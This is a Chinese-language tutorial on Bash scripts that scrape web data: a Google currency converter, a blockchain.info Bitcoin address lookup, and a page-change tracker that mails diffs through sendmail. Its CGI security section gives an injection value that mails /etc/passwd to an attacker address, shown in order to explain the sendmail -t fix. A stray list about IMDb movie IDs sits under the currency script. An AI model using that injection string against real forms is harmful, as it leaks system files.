返回文章列表

網頁資料擷取與處理技術

本文探討如何使用 Bash 指令碼進行網頁資料擷取、處理與監控,包含貨幣轉換、比特幣地址資訊查詢及網頁變更追蹤等實用案例,並深入剖析程式碼邏輯、執行方式及安全性考量,同時提供最佳化方向與改進建議,以提升指令碼的效率和安全性。

網頁開發 Shell Script

隨著網路技術的發展,網頁已成為重要的資訊來源。本文將介紹如何利用 Bash 指令碼從網頁擷取資料、進行處理,並示範貨幣轉換、比特幣地址資訊查詢及網頁變更追蹤等應用。這些指令碼有效利用線上資源,簡化了以往繁瑣的資料處理流程。我們將深入程式碼細節,探討其運作原理,並提出改進方向,例如提升安全性、支援 HTTPS 協定以及更精細的變更追蹤粒度控制等。

計算貨幣價值的指令碼最佳化

在早期的版本中,貨幣轉換是一項非常困難的任務,需要兩個指令碼:一個用於從金融網站提取轉換率並以特殊格式儲存,另一個則使用這些資料進行實際的轉換,例如從美元轉換為歐元。然而,在過去幾年中,網路已經變得更加成熟,當像Google這樣的網站提供簡單、適合指令碼使用的計算器時,我們沒有理由再進行大量的工作。

新版貨幣轉換指令碼

本版本的貨幣轉換指令碼,如清單7-16所示,直接利用Google的貨幣轉換器,網址為http://www.google.com/finance/converter。

程式碼解析

#!/bin/bash
# convertcurrency--給定金額和基礎貨幣,將其轉換為指定的目標貨幣,使用ISO貨幣識別符號。
# 利用Google的貨幣轉換器進行主要工作:
# http://www.google.com/finance/converter

if [ $# -eq 0 ]; then
  echo "用法:$(basename $0) 金額 貨幣 轉換至貨幣"
  echo "最常見的貨幣有CAD、CNY、EUR、USD、INR、JPY和MXN"
  echo "使用 \"$(basename $0) list\" 取得支援的貨幣列表。"
fi

if [ $(uname) = "Darwin" ]; then
  LANG=C # 解決OS X上與lynx無效位元序列的問題
fi

url="https://www.google.com/finance/converter"
tempfile="/tmp/converter.$$"
lynx=$(which lynx)

# 由於有多種用途,先取得這些資料。
currencies=$($lynx -source "$url" | grep "option value=" | \
           cut -d\" -f2- | sed 's/">/ /' | cut -d\( -f1 | sort | uniq)

內容解密:

  1. 指令碼用途:該指令碼用於將指定的金額從一種貨幣轉換為另一種貨幣,使用Google的貨幣轉換器。
  2. 引數檢查:如果沒有提供任何引數,指令碼會顯示用法並離開。
  3. 環境設定:針對OS X系統的特定問題,設定LANG=C以避免與lynx無效位元序列相關的問題。
  4. 變數定義:定義了urltempfilelynx變數,分別代表Google貨幣轉換器的網址、臨時檔案的路徑和lynx命令的位置。
  5. 取得支援的貨幣:使用lynx命令抓取Google貨幣轉換器頁面,並提取支援的貨幣列表。

如何運作

該指令碼首先檢查是否提供了引數,如果沒有,則顯示用法。然後,它根據作業系統的不同進行相應的設定。接著,它定義了必要的變數,並使用lynx命令抓取Google貨幣轉換器的頁面內容,以提取支援的貨幣列表。

最佳化與改進方向

  • 隱藏不友好的IMDb電影ID號碼:可以修改moviedata指令碼,以輸出簡單的選單取代IMDb ID號碼,讓使用者輸入索引值來選擇特定的電影。
  • 自動處理單一匹配結果:當搜尋結果只有一筆時,指令碼可以自動識別並重新呼叫自身以取得該電影的詳細資料。
  • 適應網站變更:由於網站結構的變更可能導致指令碼失效,因此需要定期檢查和更新指令碼,以確保其持續運作。

比特幣地址資訊擷取與貨幣轉換指令碼解析

簡介

本文將深入解析兩個實用的 Bash 指令碼:貨幣轉換器(convertcurrency)與比特幣地址資訊擷取器(getbtcaddr)。這兩個指令碼展示瞭如何利用 shell 指令碼自動化網路資料擷取與處理。

貨幣轉換器指令碼解析

程式碼結構

if [ $# -ne 4 ] ; then
    # 處理非轉換請求
    if [ "$1" = "list" ] ; then
        echo "List of supported currencies:"
        echo "$currencies"
    fi
    exit 0
fi

# 執行貨幣轉換
amount=$1
basecurrency="$(echo $2 | tr '[:lower:]' '[:upper:]')"
targetcurrency="$(echo $4 | tr '[:lower:]' '[:upper:]')"
$lynx -source "$url?a=$amount&from=$basecurrency&to=$targetcurrency" | \
grep 'id=currency_converter_result' | sed 's/<[^>]*>//g'
exit 0

內容解密:

  1. 引數驗證:指令碼首先檢查輸入引數是否正確(4個引數)。
  2. 特殊指令處理:支援 list 指令顯示支援的貨幣列表。
  3. 貨幣轉換邏輯
    • 將輸入的金額和貨幣程式碼轉換為大寫。
    • 使用 lynx 命令擷取 Google 貨幣轉換器的結果。
    • 透過 grepsed 處理 HTML 輸出,提取轉換結果。

執行範例

$ convertcurrency 75 eur to usd
75 EUR = 84.5132 USD

改進方向

  1. 輸出格式化:改善小數點後的位數顯示。
  2. 貨幣程式碼驗證:增加對無效貨幣程式碼的錯誤處理。
  3. 貨幣名稱顯示:將程式碼轉換為完整的貨幣名稱。

比特幣地址資訊擷取指令碼解析

程式碼結構

base_url="https://blockchain.info/q/"
balance=$(curl -s $base_url"addressbalance/"$1)
recv=$(curl -s $base_url"getreceivedbyaddress/"$1)
sent=$(curl -s $base_url"getsentbyaddress/"$1)
first_made=$(curl -s $base_url"addressfirstseen/"$1)

echo "Details for address $1"
echo -e "\tFirst seen: "$(date -d @$first_made)
echo -e "\tCurrent balance: "$balance
echo -e "\tSatoshis sent: "$sent
echo -e "\tSatoshis recv: "$recv

內容解密:

  1. API 呼叫:使用 curl 命令呼叫 blockchain.info 的 API。
  2. 資料擷取:取得比特幣地址的餘額、收發金額和首次出現時間。
  3. 結果顯示:格式化輸出相關資訊。

執行範例

$ getbtcaddr 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
Details for address 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
    First seen: Sat Jan 3 12:15:05 CST 2009
    Current balance: 6554034549
    Satoshis sent: 0
    Satoshis recv: 6554034549

特別注意事項

  • 輸入無效地址會傳回零值和錯誤的建立日期。
  • 金額單位為「聰」(satoshis),需轉換為比特幣單位時要除以10^8。

網頁變更追蹤指令碼:Changetrack 詳解

Changetrack 是一個用於追蹤特定網頁變更的 Bash 指令碼。當網頁內容發生變化時,它會將更新後的網頁內容透過電子郵件傳送給指定的收件人。

指令碼功能與實作

  1. 引數檢查與設定

    • 該指令碼需要兩個引數:目標 URL 和收件人的電子郵件地址。
    • 若引數數量不正確,指令碼會輸出用法提示並離開。
  2. 網頁抓取與比較

    • 使用 lynx -dump 命令抓取網頁內容,並將其儲存在臨時檔案中。
    • 將新抓取的內容與之前儲存的內容進行比較,若發現變化則進行進一步處理。
  3. 變更通知

    • 當網頁內容發生變化時,指令碼透過 sendmail 將更新後的網頁內容傳送到指定電子郵件地址。
    • 若收件人地址為 -,則直接在終端顯示變更差異。

程式碼解析

#!/bin/bash
# changetrack--Tracks a given URL and, if it's changed since the last visit,
# emails the new page to the specified address

sendmail=$(which sendmail)
sitearchive="/tmp/changetrack"
tmpchanges="$sitearchive/changes.$$" 
fromaddr="[email protected]"
dirperm=755 
fileperm=644 
trap "$(which rm) -f $tmpchanges" 0 1 15 

內容解密:

  • sendmail=$(which sendmail):查詢系統中 sendmail 的路徑,用於稍後傳送郵件。
  • sitearchive="/tmp/changetrack":設定一個目錄用於儲存抓取的網頁內容。
  • trap 命令用於在指令碼離開時刪除臨時檔案,避免資源浪費。
lynx -dump "$1" | uniq > $sitearchive/${fname}.new
if [ -f "$sitearchive/$fname" ] ; then
    diff $sitearchive/$fname $sitearchive/${fname}.new > $tmpchanges
    if [ -s $tmpchanges ] ; then
        echo "Status: Site $1 has changed since our last check."
    else
        echo "Status: No changes for site $1 since last check."
        rm -f $sitearchive/${fname}.new 
        exit 0 
    fi

內容解密:

  • 使用 lynx -dump 抓取網頁內容並存入 ${fname}.new
  • 透過 diff 命令比較新舊內容,若有差異則輸出變更通知。
if [ "$2" != "-" ] ; then
    ( echo "Content-type: text/html"
      echo "From: $fromaddr (Web Site Change Tracker)"
      echo "Subject: Web Site $1 Has Changed"
      echo "To: $2"
      lynx -s -dump $1 | sed -e "s|src=\"|SRC=\"$baseurl|gi" \
                              -e "s|href=\"|HREF=\"$baseurl|gi" \
                              -e "s|$baseurl\/http:|http:|g"
    ) | $sendmail -t
else
    diff $sitearchive/$fname $sitearchive/${fname}.new
fi

內容解密:

  • 當收件人地址非 - 時,透過 sendmail 傳送變更後的網頁內容,並使用 sed 對 HTML 中的相對路徑進行修正,以確保圖片和連結正常工作。
  • 若收件人為 -,則直接輸出變更差異至終端。

使用方法與注意事項

  1. 執行指令碼

    ./changetrack "http://example.com" "[email protected]"
    

    可將 http://example.com 的變更內容傳送至 [email protected]

  2. 顯示差異
    若希望直接在終端檢視差異,可執行:

    ./changetrack "http://example.com" "-"
    
  3. 安全性考量

    • 指令碼使用 -t 引數呼叫 sendmail,可避免因使用者輸入惡意地址而導致的安全問題。
    • 對 HTML 中的 srchref 屬性進行重寫,以確保連結和圖片的正確性。

網頁內容追蹤指令碼的實作與改進

在前一章中,我們探討瞭如何使用 shell 指令碼來處理與網頁相關的工作。在本章中,我們將深入瞭解如何使用 shell 指令碼實作一個網頁內容追蹤工具,並進一步討論如何改進這個指令碼,使其更加實用和安全。

網頁內容追蹤指令碼的基本實作

我們首先介紹一個簡單的 shell 指令碼,稱為 changetrack,它能夠追蹤指定網頁的內容變化。當第一次執行這個指令碼時,它會將網頁的內容郵寄給指定的使用者,如下所示:

$ changetrack http://www.intuitive.com/ [email protected]
Status: first visit to http://www.intuitive.com/. Copy archived for future analysis.

在後續的執行中,如果網頁內容發生了變化,指令碼才會再次郵寄更新後的內容給使用者。如果網頁沒有變化,則指令碼不會產生任何輸出,也不會傳送郵件:

$ changetrack http://www.intuitive.com/ [email protected]
$

內容解密:

  1. 指令碼功能changetrack 指令碼主要用於監測指定網頁的內容是否發生變化。
  2. 首次執行:在第一次執行時,指令碼會將網頁內容存檔並郵寄給指定的使用者。
  3. 後續執行:如果網頁內容發生變化,指令碼會再次郵寄更新後的內容;否則,不會產生任何輸出或郵件。

改進網頁內容追蹤指令碼

雖然 changetrack 指令碼已經具備了基本的網頁內容追蹤功能,但仍有一些可以改進的地方,以使其更加實用和強大。

  1. 支援 HTTPS 協定:目前的指令碼只支援 HTTP 協定,可以透過更新正規表示式來使其支援 HTTPS 協定。

  2. 增加粒度控制:可以為指令碼新增一個粒度選項,讓使用者能夠指定只有當網頁內容發生一定程度的變化時,才認為網頁已經被更新。例如,可以透過將 diff 命令的輸出結果透過管道傳遞給 wc -l 命令來計算變化的行數,從而實作粒度控制。

    diff_output=$(diff old_file new_file)
    changed_lines=$(echo "$diff_output" | wc -l)
    if [ $changed_lines -gt 3 ]; then
        # 傳送郵件通知使用者
    fi
    

    內容解密:

    1. diff 命令:用於比較兩個檔案的差異。
    2. wc -l 命令:用於計算 diff 命令輸出的行數,以判斷變化的程度。
    3. 條件判斷:根據變化的行數決定是否傳送郵件通知使用者。
  3. 定時執行:可以將 changetrack 指令碼放入 cron 任務中,定時執行,以實作自動化的網頁內容追蹤。

  4. 批次處理 URL 和郵件地址:可以修改指令碼,使其能夠從資料檔案中讀取多個 URL 和對應的郵件地址,而不是僅僅接受命令列引數。這樣可以進一步提高指令碼的實用性。

網頁安全與 CGI 指令碼

在使用 shell 指令碼編寫 CGI 程式時,需要特別注意安全問題。一個常見的安全漏洞來源於未經檢查的外部輸入資料。例如,在處理使用者提交的表單資料時,如果不小心,可能會導致惡意使用者執行任意命令。

不安全的 CGI 指令碼示例

( echo "Subject: Thanks for your signup"
echo "To: $email ($name)"
echo ""
echo "Thanks for signing up. You'll hear from us shortly."
echo "-- Dave and Brandon"
) | sendmail $email

如果使用者輸入的 $email 變數值為 sendmail [email protected] < /etc/passwd; echo [email protected],則可能會導致 /etc/passwd 檔案被傳送到惡意信箱,從而帶來安全風險。

內容解密:

  1. 安全漏洞:未經檢查的外部輸入資料可能導致命令注入攻擊。
  2. sendmail 命令:用於傳送郵件,但需要小心處理輸入資料,以避免安全問題。

安全改進

使用 sendmail 命令的 -t 選項可以避免上述安全問題,因為它會讓 sendmail 從郵件本身中掃描有效的收件人地址,而不是直接使用外部輸入的變數。

( echo "Subject: Thanks for your signup"
echo "To: $email ($name)"
echo ""
echo "Thanks for signing up. You'll hear from us shortly."
echo "-- Dave and Brandon"
) | sendmail -t

內容解密:

  1. -t 選項:告訴 sendmail 從郵件頭中提取收件人地址,避免直接使用可能被汙染的外部輸入。
  2. 提高安全性:透過這種方式,可以有效防止惡意使用者利用輸入資料執行任意命令。